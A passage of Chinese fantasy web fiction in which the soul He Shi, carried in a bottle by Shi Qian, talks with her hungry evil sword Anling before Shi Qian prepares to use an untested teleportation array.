一下、二下,何施静静地听着,默默地数着,第十五下时,一阵天旋地转袭来,晃晃脑袋,入眼可见的是一片简陋的草席。
时迁将厚实的被褥翻折摊到一边,端起何施出了门。
她们跨过杂乱无章的木板堆,跨过那道高高的门槛,跨过那条在阳光照耀下让人发晕的溪流。
日头很烈,光照在脚下,土地滋滋作响,底下的手心在发烫,烤得何施生出了几分不合时宜的幻想。
——她是否已经死了呢?
现在这一切,会不会是她构想出来的一场幻梦呢?
那间昏暗的屋子、那双有力的双手、那张在深夜里覆在她身上的被褥,真的是真实的吗?
不然,她为何又在此刻,看到了归终山的模样。
蜿蜒曲折的血水自眼前溜进狭窄的巷口,在那背后,是一道上窄下阔的峡谷,从下而上看上方裸露的天空就近似下方的溪流。
何施记得,辛弃掷曾从上面将那把剑抛下,她忽然想起黯翎,它现在在哪儿呢?
思绪闪过心间的当头,装着何施的瓶子不满地晃了晃,幅度很小,没引起时迁注意,何施不知怎的感受到一股隐秘的兴奋之情。
她小声在瓶子里呼唤着黯翎,下一秒,冰凉的触感从旁传来,何施悄摸去看,是一柄小剑的模样,锋利的剑尖直击面门,这是个很危险的姿势,稍微一动,何施此刻微弱的肉身可能再次一命呜呼。
但她并未害怕,她还记得自己死亡时黯
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翎悲愤的喊叫,她原以为镜缘会把黯翎带走,幸好,她没有,黯翎还在。
相比对她有救命之恩的时迁,其实何施更亲近和相信黯翎,她问:“你怎么变成这样了?”
黯翎气呼呼的,此话一出,剑身轰鸣,差点不想搭理这个傻乎乎的主人,想了又想,还是忍不住:“都怪那个妖怪!还有你!”
何施没想到还有自己的份儿,追问是什么意思,黯翎咬了咬牙,剑身上生出一排排锯齿,咯吱咯吱地响:“你还敢说!你知道不知道,邪剑是要吃秽物的,我还未生出剑灵,还得以恶意为生,你日日夜夜饿着我,我都想把你给吃了!”
何施不知邪剑还有这层讲究,忙向黯翎道歉:“你不要吃我,我之前不知道你还要进食,现在知道了,你告诉我恶意是什么,我带你去找。”
黯翎勉强接受了她的道歉,说来这事它也有错,本来归终山的血河对它滋养有益,但它那时饿得有气无力,都没法出声了,等何施谢绝辛弃掷提议的那刻,它连宰了自己小主人的心都有了。
只是没想到,一觉醒来,它的小主人真的没命了。
看到那株奄奄一息的灵草时,它悬着的心才放下,还好还好,小主人没死,不然它岂不是会成为天下最丢份的邪剑了吗——它是被饿死的!
再等看到时迁踏步而来的身影时,它真是又惊又喜,喜忧参半,小主人可能要得救了,但是这个女孩真真是跟那个妖物一路货色,她们身上都散发过对小主人的恶意,甚至时迁在发现小主人是人魂前所散发的恶意比起那个妖物还要浓郁得多。
凭借着这股恶意,它勉强饱餐了一顿,化形为灵瓶将小主人裹了起来,要是这个人类想对小主人动手的话,它只好跟她打一架了,黯翎惆怅地想,谁让它们的生命跟主人挂钩在一处呢,识客是对的,主人能不能打有什么要紧,能不能让剑吃饱才最重要呢!
想到这,它赶忙提醒何施注意时迁,别又被人杀死了,何施点点头,等她想明白镜缘为什么要杀她,时迁又为什么要杀人后,肯定不会再被人杀死了。
“你确定吗?”
听到熟悉的声音,何施抬起头,苏禾正站在她与时迁面前,面容严肃地告诫时迁:“真的想好了?这个传送阵是岁序做的,还没人用过,我可不想你成为这个阵下第一缕亡魂。”
“不走上这一遭,我心难安,平日里也只是尚有呼吸的鬼魂罢了,有时候我也会想,如果当初宰了他后我跟着去了,是不是还会好些?”
时迁正视着苏禾,将灵草瓶递给她:“帮我照顾好时暮和这株草。”
苏禾将手掩到背后,垂下眸子:“我成日里都在睡大觉,没那个闲工夫,要贿赂我,你还是尽早送些好货过来。”
时迁轻笑一声,用袖中小刀轻轻划破指尖,递到苏禾跟前:“报酬。”
自指尖涌出的血珠被鬼气轻柔地扶起,牵到唇边,轻飘飘地落下一句:“布帆无恙。”
一群候鸟高飞过这片狭窄的山谷,寻着此起彼伏的呼唤声望去,只能通过那片天空看到三两只身影,它们自北而来,向南而去,舍弃了故土,寻一片安居地,说不清也带走了谁的愁绪。